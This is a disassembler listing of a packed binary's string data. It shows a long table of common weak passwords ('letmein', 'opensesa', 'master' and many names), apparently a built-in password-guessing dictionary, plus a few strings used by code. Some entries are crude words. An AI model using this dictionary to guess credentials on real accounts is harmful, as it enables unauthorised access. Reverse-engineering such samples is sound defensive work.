aPunk db 'punk',0 ; DATA XREF: .nsp0:0042A530o
align 4
aPunisher db 'punisher',0 ; DATA XREF: .nsp0:0042A52Co
align 10h
aPuneet db 'puneet',0 ; DATA XREF: .nsp0:0042A528o
align 4
aPumpkin db 'pumpkin',0 ; DATA XREF: .nsp0:0042A524o
aPuke db 'puke',0 ; DATA XREF: .nsp0:0042A520o
align 4
aPuck db 'puck',0 ; DATA XREF: .nsp0:0042A51Co
align 10h
aPublic db 'public',0 ; DATA XREF: .nsp0:0042A518o
align 4
aPsychopa db 'psychopa',0 ; DATA XREF: .nsp0:0042A514o
align 4
aPsycho db 'psycho',0 ; DATA XREF: .nsp0:0042A510o
align 4
aProtozoa db 'protozoa',0 ; DATA XREF: .nsp0:0042A50Co
align 4
aProtect db 'protect',0 ; DATA XREF: .nsp0:0042A508o
aPrompt db 'prompt',0 ; DATA XREF: .nsp0:0042A504o
align 4
aProgram db 'program',0 ; DATA XREF: .nsp0:0042A500o
aProfile db 'profile',0 ; DATA XREF: .nsp0:0042A4FCo
aProfesso db 'professo',0 ; DATA XREF: .nsp0:0042A4F8o
align 4
aProcesso db 'processo',0 ; DATA XREF: .nsp0:0042A4F4o
align 10h
aProceed db 'proceed',0 ; DATA XREF: .nsp0:0042A4F0o
aPrivs db 'privs',0 ; DATA XREF: .nsp0:0042A4ECo
align 10h
aPrivate db 'private',0 ; DATA XREF: .nsp0:0042A4E8o
aPriv db 'priv',0 ; DATA XREF: .nsp0:0042A4E4o
align 10h
aPrinter db 'printer',0 ; DATA XREF: .nsp0:0042A4E0o
aPrinceto db 'princeto',0 ; DATA XREF: .nsp0:0042A4DCo
align 4
aPrince db 'prince',0 ; DATA XREF: .nsp0:0042A4D8o
align 4
aPresto db 'presto',0 ; DATA XREF: .nsp0:0042A4D4o
align 4
aPrelude db 'prelude',0 ; DATA XREF: .nsp0:0042A4D0o
aPrecious db 'precious',0 ; DATA XREF: .nsp0:0042A4CCo
align 4
aPraise db 'praise',0 ; DATA XREF: .nsp0:0042A4C8o
align 10h
aPower db 'power',0 ; DATA XREF: .nsp0:0042A4C4o
align 4
aPoster db 'poster',0 ; DATA XREF: .nsp0:0042A4C0o
align 10h
aPost db 'post',0 ; DATA XREF: .nsp0:0042A4BCo
align 4
aPorsche db 'porsche',0 ; DATA XREF: .nsp0:0042A4B8o
aPorno db 'porno',0 ; DATA XREF: .nsp0:0042A4B4o
align 4
aPorn db 'porn',0 ; DATA XREF: .nsp0:0042A4B0o
align 10h
aPork db 'pork',0 ; DATA XREF: .nsp0:0042A4ACo
align 4
aPoor db 'poor',0 ; DATA XREF: .nsp0:0042A4A8o
align 10h
aPoop db 'poop',0 ; DATA XREF: .nsp0:0042A4A4o
align 4
aPonderin db 'ponderin',0 ; DATA XREF: .nsp0:0042A4A0o
align 4
aPolynomi db 'polynomi',0 ; DATA XREF: .nsp0:0042A49Co
align 10h
aPolly db 'polly',0 ; DATA XREF: .nsp0:0042A498o
align 4
aPolice db 'police',0 ; DATA XREF: .nsp0:0042A494o
align 10h
aPoetry db 'poetry',0 ; DATA XREF: .nsp0:0042A490o
align 4
aPlymouth db 'plymouth',0 ; DATA XREF: .nsp0:0042A48Co
align 4
aPluto db 'pluto',0 ; DATA XREF: .nsp0:0042A488o
align 4
aPlover db 'plover',0 ; DATA XREF: .nsp0:0042A484o
align 4
aPlayboy db 'playboy',0 ; DATA XREF: .nsp0:0042A480o
aPlane db 'plane',0 ; DATA XREF: .nsp0:0042A47Co
align 4
aPizza db 'pizza',0 ; DATA XREF: .nsp0:0042A478o
align 4
aPiss db 'piss',0 ; DATA XREF: .nsp0:0042A474o
align 4
aPinname db 'pinname',0 ; DATA XREF: .nsp0:0042A470o
aPimp db 'pimp',0 ; DATA XREF: .nsp0:0042A46Co
align 4
aPierre db 'pierre',0 ; DATA XREF: .nsp0:0042A468o
align 4
aPick db 'pick',0 ; DATA XREF: .nsp0:0042A464o
align 4
aPhuck db 'phuck',0 ; DATA XREF: .nsp0:0042A460o
align 4
aPhreak db 'phreak',0 ; DATA XREF: .nsp0:0042A45Co
align 4
aPhrase db 'phrase',0 ; DATA XREF: .nsp0:0042A458o
align 4
aPhrack db 'phrack',0 ; DATA XREF: .nsp0:0042A454o
align 4
aPhoton db 'photon',0 ; DATA XREF: .nsp0:0042A450o
align 4
aPhone db 'phone',0 ; DATA XREF: .nsp0:0042A44Co
align 4
aPhoenix db 'phoenix',0 ; DATA XREF: .nsp0:0042A448o
aPhilip db 'philip',0 ; DATA XREF: .nsp0:0042A444o
align 4
aPhil db 'phil',0 ; DATA XREF: .nsp0:0042A440o
align 4
aPeter db 'peter',0 ; DATA XREF: .nsp0:0042A43Co
align 4
aPete db 'pete',0 ; DATA XREF: .nsp0:0042A438o
align 4
aPervert db 'pervert',0 ; DATA XREF: .nsp0:0042A434o
aPersona db 'persona',0 ; DATA XREF: .nsp0:0042A430o
aPersimmo db 'persimmo',0 ; DATA XREF: .nsp0:0042A42Co
align 4
aPermit db 'permit',0 ; DATA XREF: .nsp0:0042A428o
align 10h
aPerfect db 'perfect',0 ; DATA XREF: .nsp0:0042A424o
aPercolat db 'percolat',0 ; DATA XREF: .nsp0:0042A420o
align 4
aPepper db 'pepper',0 ; DATA XREF: .nsp0:0042A41Co
align 4
aPeoria db 'peoria',0 ; DATA XREF: .nsp0:0042A418o
align 4
aPentium db 'pentium',0 ; DATA XREF: .nsp0:0042A414o
aPenthous db 'penthous',0 ; DATA XREF: .nsp0:0042A410o
align 4
aPentagra db 'pentagra',0 ; DATA XREF: .nsp0:0042A40Co
align 4
aPentagon db 'pentagon',0 ; DATA XREF: .nsp0:0042A408o
align 10h
aPenname db 'penname',0 ; DATA XREF: .nsp0:0042A404o
aPenis db 'penis',0 ; DATA XREF: .nsp0:0042A400o
align 10h
aPenguin db 'penguin',0 ; DATA XREF: .nsp0:0042A3FCo
aPenelope db 'penelope',0 ; DATA XREF: .nsp0:0042A3F8o
align 4
aPencil db 'pencil',0 ; DATA XREF: .nsp0:0042A3F4o
align 4
aPecker db 'pecker',0 ; DATA XREF: .nsp0:0042A3F0o
align 4
aPeanuts db 'peanuts',0 ; DATA XREF: .nsp0:0042A3ECo
aPaula db 'paula',0 ; DATA XREF: .nsp0:0042A3E8o
align 4
aPatty db 'patty',0 ; DATA XREF: .nsp0:0042A3E4o
align 4
aPatriot db 'patriot',0 ; DATA XREF: .nsp0:0042A3E0o
aPatricia db 'patricia',0 ; DATA XREF: .nsp0:0042A3DCo
align 10h
aPaste db 'paste',0 ; DATA XREF: .nsp0:0042A3D8o
align 4
aPassphra db 'passphra',0 ; DATA XREF: .nsp0:0042A3D4o
align 4
aPascal db 'pascal',0 ; DATA XREF: .nsp0:0042A3D0o
align 4
aPapers db 'papers',0 ; DATA XREF: .nsp0:0042A3CCo
align 4
aPaper db 'paper',0 ; DATA XREF: .nsp0:0042A3C8o
align 4
aPapa db 'papa',0 ; DATA XREF: .nsp0:0042A3C4o
align 4
aPamela db 'pamela',0 ; DATA XREF: .nsp0:0042A3C0o
align 4
aPakistan db 'pakistan',0 ; DATA XREF: .nsp0:0042A3BCo
align 4
aPaint db 'paint',0 ; DATA XREF: .nsp0:0042A3B8o
align 10h
aPainless db 'painless',0 ; DATA XREF: .nsp0:0042A3B4o
align 4
aPacker db 'packer',0 ; DATA XREF: .nsp0:0042A3B0o
align 4
aPackard db 'packard',0 ; DATA XREF: .nsp0:0042A3ACo
aPacific db 'pacific',0 ; DATA XREF: .nsp0:0042A3A8o
aOxford db 'oxford',0 ; DATA XREF: .nsp0:0042A3A4o
align 4
aOutside db 'outside',0 ; DATA XREF: .nsp0:0042A3A0o
aOutput db 'output',0 ; DATA XREF: .nsp0:0042A39Co
align 4
aOutlaw db 'outlaw',0 ; DATA XREF: .nsp0:0042A398o
align 4
aOutdoors db 'outdoors',0 ; DATA XREF: .nsp0:0042A394o
align 10h
aOsiris db 'osiris',0 ; DATA XREF: .nsp0:0042A390o
align 4
aOscar db 'oscar',0 ; DATA XREF: .nsp0:0042A38Co
align 10h
aOrwell db 'orwell',0 ; DATA XREF: .nsp0:0042A388o
align 4
aOrient db 'orient',0 ; DATA XREF: .nsp0:0042A384o
align 10h
aOrca db 'orca',0 ; DATA XREF: .nsp0:0042A380o
align 4
aOperator db 'operator',0 ; DATA XREF: .nsp0:0042A37Co
align 4
aOpensesa db 'opensesa',0 ; DATA XREF: .nsp0:0042A378o
align 10h
aOpenlock db 'openlock',0 ; DATA XREF: .nsp0:0042A374o
align 4
aOpening db 'opening',0 ; DATA XREF: .nsp0:0042A370o
aOpen db 'open',0 ; DATA XREF: .nsp0:0040594Ao
; .nsp0:0040736Eo ...
align 4
aOmega db 'omega',0 ; DATA XREF: .nsp0:0042A368o
align 4
aOlivia db 'olivia',0 ; DATA XREF: .nsp0:0042A364o
align 4
aOlivetti db 'olivetti',0 ; DATA XREF: .nsp0:0042A360o
align 4
aOldage db 'oldage',0 ; DATA XREF: .nsp0:0042A35Co
align 10h
aOkay db 'okay',0 ; DATA XREF: .nsp0:0042A358o
align 4
aOffice db 'office',0 ; DATA XREF: .nsp0:0042A354o
align 10h
aOcelot db 'ocelot',0 ; DATA XREF: .nsp0:0042A350o
align 4
aOceanogr db 'oceanogr',0 ; DATA XREF: .nsp0:0042A34Co
align 4
aObscurit db 'obscurit',0 ; DATA XREF: .nsp0:0042A348o
align 10h
aNyquist db 'nyquist',0 ; DATA XREF: .nsp0:0042A344o
aNuts db 'nuts',0 ; DATA XREF: .nsp0:0042A340o
align 10h
aNutritio db 'nutritio',0 ; DATA XREF: .nsp0:0042A33Co
align 4
aNumber db 'number',0 ; DATA XREF: .nsp0:0042A338o
align 4
aNull_1 db 'null',0 ; DATA XREF: .nsp0:0042A334o
align 4
aNukem db 'nukem',0 ; DATA XREF: .nsp0:0042A330o
align 4
aNuke db 'nuke',0 ; DATA XREF: .nsp0:0042A32Co
align 4
aNude db 'nude',0 ; DATA XREF: .nsp0:0042A328o
align 4
aNuclear db 'nuclear',0 ; DATA XREF: .nsp0:0042A324o
aNoxious db 'noxious',0 ; DATA XREF: .nsp0:0042A320o
aNovember db 'november',0 ; DATA XREF: .nsp0:0042A31Co
align 10h
aNovel db 'novel',0 ; DATA XREF: .nsp0:0042A318o
align 4
aNova db 'nova',0 ; DATA XREF: .nsp0:0042A314o
align 10h
aNoth db 'noth',0 ; DATA XREF: .nsp0:0042A310o
align 4
aNotes db 'notes',0 ; DATA XREF: .nsp0:0042A30Co
align 10h
aNoreen db 'noreen',0 ; DATA XREF: .nsp0:0042A308o
align 4
aNode db 'node',0 ; DATA XREF: .nsp0:0042A304o
align 10h
aNobody db 'nobody',0 ; DATA XREF: .nsp0:0042A300o
align 4
aNoble db 'noble',0 ; DATA XREF: .nsp0:0042A2FCo
align 10h
aNnaacp db 'nnaacp',0 ; DATA XREF: .nsp0:0042A2F8o
align 4
aNita db 'nita',0 ; DATA XREF: .nsp0:0042A2F4o
align 10h
aNintendo db 'nintendo',0 ; DATA XREF: .nsp0:0042A2F0o
align 4
aNightmar db 'nightmar',0 ; DATA XREF: .nsp0:0042A2ECo
align 4
aNight db 'night',0 ; DATA XREF: .nsp0:0042A2E8o
align 10h
aNicotine db 'nicotine',0 ; DATA XREF: .nsp0:0042A2E4o
align 4
aNicole db 'nicole',0 ; DATA XREF: .nsp0:0042A2E0o
align 4
aNice db 'nice',0 ; DATA XREF: .nsp0:0042A2DCo
align 4
aNext db 'next',0 ; DATA XREF: .nsp0:0042A2D8o
align 4
aNewyork db 'newyork',0 ; DATA XREF: .nsp0:0042A2D4o
aNewton db 'newton',0 ; DATA XREF: .nsp0:0042A2D0o
align 4
aNewsgrou db 'newsgrou',0 ; DATA XREF: .nsp0:0042A2CCo
align 10h
aNews db 'news',0 ; DATA XREF: .nsp0:0042A2C8o
align 4
aNewborn db 'newborn',0 ; DATA XREF: .nsp0:0042A2C4o
aNetwork_0 db 'network',0 ; DATA XREF: .nsp0:0042A2C0o
aNetscape db 'netscape',0 ; DATA XREF: .nsp0:0042A2BCo
align 4
aNess db 'ness',0 ; DATA XREF: .nsp0:0042A2B8o
align 4
aNeptune db 'neptune',0 ; DATA XREF: .nsp0:0042A2B4o
aNepenthe db 'nepenthe',0 ; DATA XREF: .nsp0:0042A2B0o
align 10h
aNavy db 'navy',0 ; DATA XREF: .nsp0:0042A2ACo
align 4
aNasa db 'nasa',0 ; DATA XREF: .nsp0:0042A2A8o
align 10h
aNapoleon db 'napoleon',0 ; DATA XREF: .nsp0:0042A2A4o
align 4
aNancy db 'nancy',0 ; DATA XREF: .nsp0:0042A2A0o
align 4
aName db 'name',0 ; DATA XREF: .nsp0:0042A29Co
align 4
aNagel db 'nagel',0 ; DATA XREF: .nsp0:0042A298o
align 4
aMutant db 'mutant',0 ; DATA XREF: .nsp0:0042A294o
align 4
aMuppets db 'muppets',0 ; DATA XREF: .nsp0:0042A290o
aMsdos db 'msdos',0 ; DATA XREF: .nsp0:0042A28Co
align 4
aMpeg db 'mpeg',0 ; DATA XREF: .nsp0:0042A288o
align 4
aMozart db 'mozart',0 ; DATA XREF: .nsp0:0042A284o
align 4
aMovies db 'movies',0 ; DATA XREF: .nsp0:0042A280o
align 4
aMovie db 'movie',0 ; DATA XREF: .nsp0:0042A27Co
align 4
aMove db 'move',0 ; DATA XREF: .nsp0:0042A278o
align 4
aMouse db 'mouse',0 ; DATA XREF: .nsp0:0042A274o
align 4
aMountain db 'mountain',0 ; DATA XREF: .nsp0:0042A270o
align 4
aMosaic db 'mosaic',0 ; DATA XREF: .nsp0:0042A26Co
align 10h
aMortgage db 'mortgage',0 ; DATA XREF: .nsp0:0042A268o
align 4
aMortalco db 'mortalco',0 ; DATA XREF: .nsp0:0042A264o
align 4
aMortal db 'mortal',0 ; DATA XREF: .nsp0:0042A260o
align 10h
aMorris db 'morris',0 ; DATA XREF: .nsp0:0042A25Co
align 4
aMorley db 'morley',0 ; DATA XREF: .nsp0:0042A258o
align 10h
aMore db 'more',0 ; DATA XREF: .nsp0:0042A254o
align 4
aMoose db 'moose',0 ; DATA XREF: .nsp0:0042A250o
align 10h
aMoor db 'moor',0 ; DATA XREF: .nsp0:0042A24Co
align 4
aMoom db 'moom',0 ; DATA XREF: .nsp0:0042A248o
align 10h
aMonica db 'monica',0 ; DATA XREF: .nsp0:0042A244o
align 4
aMonday db 'monday',0 ; DATA XREF: .nsp0:0042A240o
align 10h
aMoguls db 'moguls',0 ; DATA XREF: .nsp0:0042A23Co
align 4
aMogul db 'mogul',0 ; DATA XREF: .nsp0:0042A238o
align 10h
aModem db 'modem',0 ; DATA XREF: .nsp0:0042A234o
align 4
aMode db 'mode',0 ; DATA XREF: .nsp0:00404E7Bo
; .nsp0:00406345o ...
align 10h
aMkii db 'mkii',0 ; DATA XREF: .nsp0:0042A22Co
align 4
aMission db 'mission',0 ; DATA XREF: .nsp0:0042A228o
aMisfit db 'misfit',0 ; DATA XREF: .nsp0:0042A224o
align 4
aMinsky db 'minsky',0 ; DATA XREF: .nsp0:0042A220o
align 10h
aMinimum db 'minimum',0 ; DATA XREF: .nsp0:0042A21Co
aMine db 'mine',0 ; DATA XREF: .nsp0:0042A218o
align 10h
aMike db 'mike',0 ; DATA XREF: .nsp0:0042A214o
align 4
aMidieval db 'midieval',0 ; DATA XREF: .nsp0:0042A210o
align 4
aMicrosof db 'microsof',0 ; DATA XREF: .nsp0:0042A20Co
align 10h
aMicropro db 'micropro',0 ; DATA XREF: .nsp0:0042A208o
align 4
aMicrochi db 'microchi',0 ; DATA XREF: .nsp0:0042A204o
align 4
aMicro db 'micro',0 ; DATA XREF: .nsp0:0042A200o
align 10h
aMickey db 'mickey',0 ; DATA XREF: .nsp0:0042A1FCo
align 4
aMichelle db 'michelle',0 ; DATA XREF: .nsp0:0042A1F8o
align 4
aMichele db 'michele',0 ; DATA XREF: .nsp0:0042A1F4o
aMichelan db 'michelan',0 ; DATA XREF: .nsp0:0042A1F0o
align 4
aMichel db 'michel',0 ; DATA XREF: .nsp0:0042A1ECo
align 10h
aMichael db 'michael',0 ; DATA XREF: .nsp0:0042A1E8o
aMice db 'mice',0 ; DATA XREF: .nsp0:0042A1E4o
align 10h
aMets db 'mets',0 ; DATA XREF: .nsp0:0042A1E0o
align 4
aMetalica db 'metalica',0 ; DATA XREF: .nsp0:0042A1DCo
align 4
aMetalhea db 'metalhea',0 ; DATA XREF: .nsp0:0042A1D8o
align 10h
aMetal db 'metal',0 ; DATA XREF: .nsp0:0042A1D4o
align 4
aMerlin db 'merlin',0 ; DATA XREF: .nsp0:0042A1D0o
align 10h
aMercury db 'mercury',0 ; DATA XREF: .nsp0:0042A1CCo
aMenu db 'menu',0 ; DATA XREF: .nsp0:0042A1C8o
align 10h
aMenace db 'menace',0 ; DATA XREF: .nsp0:0042A1C4o
align 4
aMemory db 'memory',0 ; DATA XREF: .nsp0:0042A1C0o
align 10h
aMember db 'member',0 ; DATA XREF: .nsp0:0042A1BCo
align 4
aMelrose db 'melrose',0 ; DATA XREF: .nsp0:0042A1B8o
aMellon db 'mellon',0 ; DATA XREF: .nsp0:0042A1B4o
align 4
aMelissa db 'melissa',0 ; DATA XREF: .nsp0:0042A1B0o
aMegan db 'megan',0 ; DATA XREF: .nsp0:0042A1ACo
align 4
aMegadeth db 'megadeth',0 ; DATA XREF: .nsp0:0042A1A8o
align 4
aMegabyte db 'megabyte',0 ; DATA XREF: .nsp0:0042A1A4o
align 10h
aMeagan db 'meagan',0 ; DATA XREF: .nsp0:0042A1A0o
align 4
aMaurice db 'maurice',0 ; DATA XREF: .nsp0:0042A19Co
aMath db 'math',0 ; DATA XREF: .nsp0:0042A198o
align 4
aMaster db 'master',0 ; DATA XREF: .nsp0:0042A194o
align 10h
aMason db 'mason',0 ; DATA XREF: .nsp0:0042A190o
align 4
aMary db 'mary',0 ; DATA XREF: .nsp0:0042A18Co
align 10h
aMarvin db 'marvin',0 ; DATA XREF: .nsp0:0042A188o
align 4
aMarty db 'marty',0 ; DATA XREF: .nsp0:0042A184o
align 10h
aMars db 'mars',0 ; DATA XREF: .nsp0:0042A180o
align 4
aMarriage db 'marriage',0 ; DATA XREF: .nsp0:0042A17Co
align 4
aMarni db 'marni',0 ; DATA XREF: .nsp0:0042A178o
align 4
aMarkus db 'markus',0 ; DATA XREF: .nsp0:0042A174o
align 4
aMark db 'mark',0 ; DATA XREF: .nsp0:0042A170o
align 4
aMarines db 'marines',0 ; DATA XREF: .nsp0:0042A16Co
aMarijuan db 'marijuan',0 ; DATA XREF: .nsp0:0042A168o
align 10h
aMarietta db 'marietta',0 ; DATA XREF: .nsp0:0042A164o
align 4
aMariens db 'mariens',0 ; DATA XREF: .nsp0:0042A160o
aMaria db 'maria',0 ; DATA XREF: .nsp0:0042A15Co
align 4
aMarcy db 'marcy',0 ; DATA XREF: .nsp0:0042A158o
; .nsp0:0043FFDCo
align 4
aMarci db 'marci',0 ; DATA XREF: .nsp0:0042A154o
align 4
aMara db 'mara',0 ; DATA XREF: .nsp0:0042A150o
align 4
aManager db 'manager',0 ; DATA XREF: .nsp0:0042A14Co
aMana db 'mana',0 ; DATA XREF: .nsp0:0042A148o
align 4
aMalcom db 'malcom',0 ; DATA XREF: .nsp0:0042A144o
align 4
aMalcolm db 'malcolm',0 ; DATA XREF: .nsp0:0042A140o
aMaint db 'maint',0 ; DATA XREF: .nsp0:0042A13Co
align 4
aMail db 'mail',0 ; DATA XREF: .nsp0:0042A138o
align 4
aMagnet db 'magnet',0 ; DATA XREF: .nsp0:0042A134o
align 4
aMagic db 'magic',0 ; DATA XREF: .nsp0:0042A130o
align 4
aMaggot db 'maggot',0 ; DATA XREF: .nsp0:0042A12Co
align 4
aMacro db 'macro',0 ; DATA XREF: .nsp0:0042A128o
align 4
aMack db 'mack',0 ; DATA XREF: .nsp0:0042A124o
align 4
aMacintos db 'macintos',0 ; DATA XREF: .nsp0:0042A120o
align 4
aMachine db 'machine',0 ; DATA XREF: .nsp0:0042A11Co
aLynne db 'lynne',0 ; DATA XREF: .nsp0:0042A118o
align 4
aLynn db 'lynn',0 ; DATA XREF: .nsp0:0042A114o
align 10h
aLust db 'lust',0 ; DATA XREF: .nsp0:0042A110o
align 4
aLuke db 'luke',0 ; DATA XREF: .nsp0:0042A10Co
align 10h
aLude db 'lude',0 ; DATA XREF: .nsp0:0042A108o
align 4
aLucy db 'lucy',0 ; DATA XREF: .nsp0:0042A104o
align 10h
aLucus db 'lucus',0 ; DATA XREF: .nsp0:0042A100o
align 4
aLuck db 'luck',0 ; DATA XREF: .nsp0:0042A0FCo
align 10h
aLover db 'lover',0 ; DATA XREF: .nsp0:0042A0F8o
align 4
aLovebug db 'lovebug',0 ; DATA XREF: .nsp0:0042A0F4o
aLouis db 'louis',0 ; DATA XREF: .nsp0:0042A0F0o
align 4
aLoser db 'loser',0 ; DATA XREF: .nsp0:0042A0ECo
align 10h
aLorraine db 'lorraine',0 ; DATA XREF: .nsp0:0042A0E8o
align 4
aLorin db 'lorin',0 ; DATA XREF: .nsp0:0042A0E4o
align 4
aLori db 'lori',0 ; DATA XREF: .nsp0:0042A0E0o
align 4
aLore db 'lore',0 ; DATA XREF: .nsp0:0042A0DCo
align 4
aLoose db 'loose',0 ; DATA XREF: .nsp0:0042A0D8o
align 4
aLolopc db 'lolopc',0 ; DATA XREF: .nsp0:0042A0D4o
align 4
aLois db 'lois',0 ; DATA XREF: .nsp0:0042A0D0o
align 4
aLogout db 'logout',0 ; DATA XREF: .nsp0:004029FDo
; .nsp0:0042A0CCo
align 4
aLoginwor db 'loginwor',0 ; DATA XREF: .nsp0:0042A0C8o
align 10h
aLogic db 'logic',0 ; DATA XREF: .nsp0:0042A0C4o
align 4
aLockword db 'lockword',0 ; DATA XREF: .nsp0:0042A0C0o
align 4
aLockout db 'lockout',0 ; DATA XREF: .nsp0:0042A0BCo
aLock db 'lock',0 ; DATA XREF: .nsp0:0042A0B8o
align 4
aLoad db 'load',0 ; DATA XREF: .nsp0:00404CBAo
; .nsp0:0042A0B4o
align 4
aLive db 'live',0 ; DATA XREF: .nsp0:0042A0B0o
align 4
aLiteratu db 'literatu',0 ; DATA XREF: .nsp0:0042A0ACo
align 10h
aLisp db 'lisp',0 ; DATA XREF: .nsp0:0042A0A8o
align 4
aLisa db 'lisa',0 ; DATA XREF: .nsp0:0042A0A4o
align 10h
aLips db 'lips',0 ; DATA XREF: .nsp0:0042A0A0o
align 4
aLion db 'lion',0 ; DATA XREF: .nsp0:0042A09Co
align 10h
aLink db 'link',0 ; DATA XREF: .nsp0:0042A098o
align 4
aLinda db 'linda',0 ; DATA XREF: .nsp0:0042A094o
align 10h
aLimited db 'limited',0 ; DATA XREF: .nsp0:0042A090o
aLimbaugh db 'limbaugh',0 ; DATA XREF: .nsp0:0042A08Co
align 4
aLima db 'lima',0 ; DATA XREF: .nsp0:0042A088o
align 4
aLightsab db 'lightsab',0 ; DATA XREF: .nsp0:0042A084o
align 4
aLight db 'light',0 ; DATA XREF: .nsp0:0042A080o
align 10h
aLife db 'life',0 ; DATA XREF: .nsp0:0042A07Co
align 4
aLicker db 'licker',0 ; DATA XREF: .nsp0:0042A078o
align 10h
aLick db 'lick',0 ; DATA XREF: .nsp0:0042A074o
align 4
aLibrary db 'library',0 ; DATA XREF: .nsp0:0042A070o
aLiberal db 'liberal',0 ; DATA XREF: .nsp0:0042A06Co
aLexluthe db 'lexluthe',0 ; DATA XREF: .nsp0:0042A068o
align 4
aLewis db 'lewis',0 ; DATA XREF: .nsp0:0042A064o
align 4
aLetmein db 'letmein',0 ; DATA XREF: .nsp0:0042A060o
aLeslie db 'leslie',0 ; DATA XREF: .nsp0:0042A05Co
align 4
aLesbian db 'lesbian',0 ; DATA XREF: .nsp0:0042A058o
aLeroy db 'leroy',0 ; DATA XREF: .nsp0:0042A054o
align 4
aLeland db 'leland',0 ; DATA XREF: .nsp0:0042A050o
align 4
aLegal db 'legal',0 ; DATA XREF: .nsp0:0042A04Co
align 4
aLeftwing db 'leftwing',0 ; DATA XREF: .nsp0:0042A048o
align 4
aLeft db 'left',0 ; DATA XREF: .nsp0:0042A044o
align 10h
aLebesgue db 'lebesgue',0 ; DATA XREF: .nsp0:0042A040o
align 4
aLeah db 'leah',0 ; DATA XREF: .nsp0:0042A03Co
align 4
aLazer db 'lazer',0 ; DATA XREF: .nsp0:0042A038o
align 4
aLazarus db 'lazarus',0 ; DATA XREF: .nsp0:0042A034o
aLava db 'lava',0 ; DATA XREF: .nsp0:0042A030o
align 4
aLaura db 'laura',0 ; DATA XREF: .nsp0:0042A02Co
align 4
aLaser db 'laser',0 ; DATA XREF: .nsp0:0042A028o
align 4
aLarry db 'larry',0 ; DATA XREF: .nsp0:0042A024o
align 4
aLarkin db 'larkin',0 ; DATA XREF: .nsp0:0042A020o
align 4
aLara db 'lara',0 ; DATA XREF: .nsp0:0042A01Co
align 4
aLaptop db 'laptop',0 ; DATA XREF: .nsp0:0042A018o
align 4
aLana db 'lana',0 ; DATA XREF: .nsp0:0042A014o
align 4
aLaminati db 'laminati',0 ; DATA XREF: .nsp0:0042A010o
align 10h
aLambda db 'lambda',0 ; DATA XREF: .nsp0:0042A00Co
align 4
aLakers db 'lakers',0 ; DATA XREF: .nsp0:0042A008o
align 10h
aLadle db 'ladle',0 ; DATA XREF: .nsp0:0042A004o
align 4
aLadies db 'ladies',0 ; DATA XREF: .nsp0:0042A000o
align 10h
aKristy db 'kristy',0 ; DATA XREF: .nsp0:00429FFCo
align 4
aKristine db 'kristine',0 ; DATA XREF: .nsp0:00429FF8o
align 4
aKristin db 'kristin',0 ; DATA XREF: .nsp0:00429FF4o
aKristie db 'kristie',0 ; DATA XREF: .nsp0:00429FF0o
aKristi db 'kristi',0 ; DATA XREF: .nsp0:00429FECo
align 4
aKristen db 'kristen',0 ; DATA XREF: .nsp0:00429FE8o
aKrista db 'krista',0 ; DATA XREF: .nsp0:00429FE4o
align 4
aKnown db 'known',0 ; DATA XREF: .nsp0:00429FE0o
align 4
aKnightma db 'knightma',0 ; DATA XREF: .nsp0:00429FDCo
align 10h
aKnight db 'knight',0 ; DATA XREF: .nsp0:00429FD8o
align 4
aKnife db 'knife',0 ; DATA XREF: .nsp0:00429FD4o
align 10h
aKlingon db 'klingon',0 ; DATA XREF: .nsp0:00429FD0o
aKitten db 'kitten',0 ; DATA XREF: .nsp0:00429FCCo
align 10h
aKissmyas db 'kissmyas',0 ; DATA XREF: .nsp0:00429FC8o
align 4
aKiss db 'kiss',0 ; DATA XREF: .nsp0:00429FC4o
align 4
aKirkland db 'kirkland',0 ; DATA XREF: .nsp0:00429FC0o
align 10h
aKirk db 'kirk',0 ; DATA XREF: .nsp0:00429FBCo
align 4
aKing db 'king',0 ; DATA XREF: .nsp0:00429FB8o
align 10h
aKimberly db 'kimberly',0 ; DATA XREF: .nsp0:00429FB4o
align 4
aKilo db 'kilo',0 ; DATA XREF: .nsp0:00429FB0o
align 4
aKillthem db 'killthem',0 ; DATA XREF: .nsp0:00429FACo
align 10h
aKill db 'kill',0 ; DATA XREF: .nsp0:004059F2o
; .nsp0:00429FA8o
align 4
aKids db 'kids',0 ; DATA XREF: .nsp0:00429FA4o
align 10h
aKeyword db 'keyword',0 ; DATA XREF: .nsp0:00429FA0o
aKeyin db 'keyin',0 ; DATA XREF: .nsp0:00429F9Co
align 10h
aKeybord db 'keybord',0 ; DATA XREF: .nsp0:00429F98o
aKewl db 'kewl',0 ; DATA XREF: .nsp0:00429F94o
align 10h
aKevin db 'kevin',0 ; DATA XREF: .nsp0:00429F90o
align 4
aKerry db 'kerry',0 ; DATA XREF: .nsp0:00429F8Co
align 10h
aKerrie db 'kerrie',0 ; DATA XREF: .nsp0:00429F88o
align 4
aKerri db 'kerri',0 ; DATA XREF: .nsp0:00429F84o
align 10h
aKernel db 'kernel',0 ; DATA XREF: .nsp0:00429F80o
align 4
aKermit db 'kermit',0 ; DATA XREF: .nsp0:00429F7Co
; .nsp0:00440004o
align 10h
aKeri db 'keri',0 ; DATA XREF: .nsp0:00429F78o
align 4
aKelly db 'kelly',0 ; DATA XREF: .nsp0:00429F74o
align 10h
aKatrina db 'katrina',0 ; DATA XREF: .nsp0:00429F70o
aKatina db 'katina',0 ; DATA XREF: .nsp0:00429F6Co
align 10h
aKathy db 'kathy',0 ; DATA XREF: .nsp0:00429F68o
align 4
aKathrine db 'kathrine',0 ; DATA XREF: .nsp0:00429F64o
align 4
aKathleen db 'kathleen',0 ; DATA XREF: .nsp0:00429F60o
align 10h
aKate db 'kate',0 ; DATA XREF: .nsp0:00429F5Co
align 4
aKatana db 'katana',0 ; DATA XREF: .nsp0:00429F58o
align 10h
aKarina db 'karina',0 ; DATA XREF: .nsp0:00429F54o
align 4
aKarie db 'karie',0 ; DATA XREF: .nsp0:00429F50o
align 10h
aKaren db 'karen',0 ; DATA XREF: .nsp0:00429F4Co
align 4
aKaka db 'kaka',0 ; DATA XREF: .nsp0:00429F48o
align 10h
aJupiter db 'jupiter',0 ; DATA XREF: .nsp0:00429F44o
aJune db 'june',0 ; DATA XREF: .nsp0:00429F40o
align 10h
aJuliet db 'juliet',0 ; DATA XREF: .nsp0:00429F3Co
align 4
aJulie db 'julie',0 ; DATA XREF: .nsp0:00429F38o
align 10h
aJulia db 'julia',0 ; DATA XREF: .nsp0:00429F34o
align 4
aJuicy db 'juicy',0 ; DATA XREF: .nsp0:00429F30o
align 10h
aJuggle db 'juggle',0 ; DATA XREF: .nsp0:00429F2Co
align 4
aJudy db 'judy',0 ; DATA XREF: .nsp0:00429F28o
align 10h
aJudith db 'judith',0 ; DATA XREF: .nsp0:00429F24o
align 4
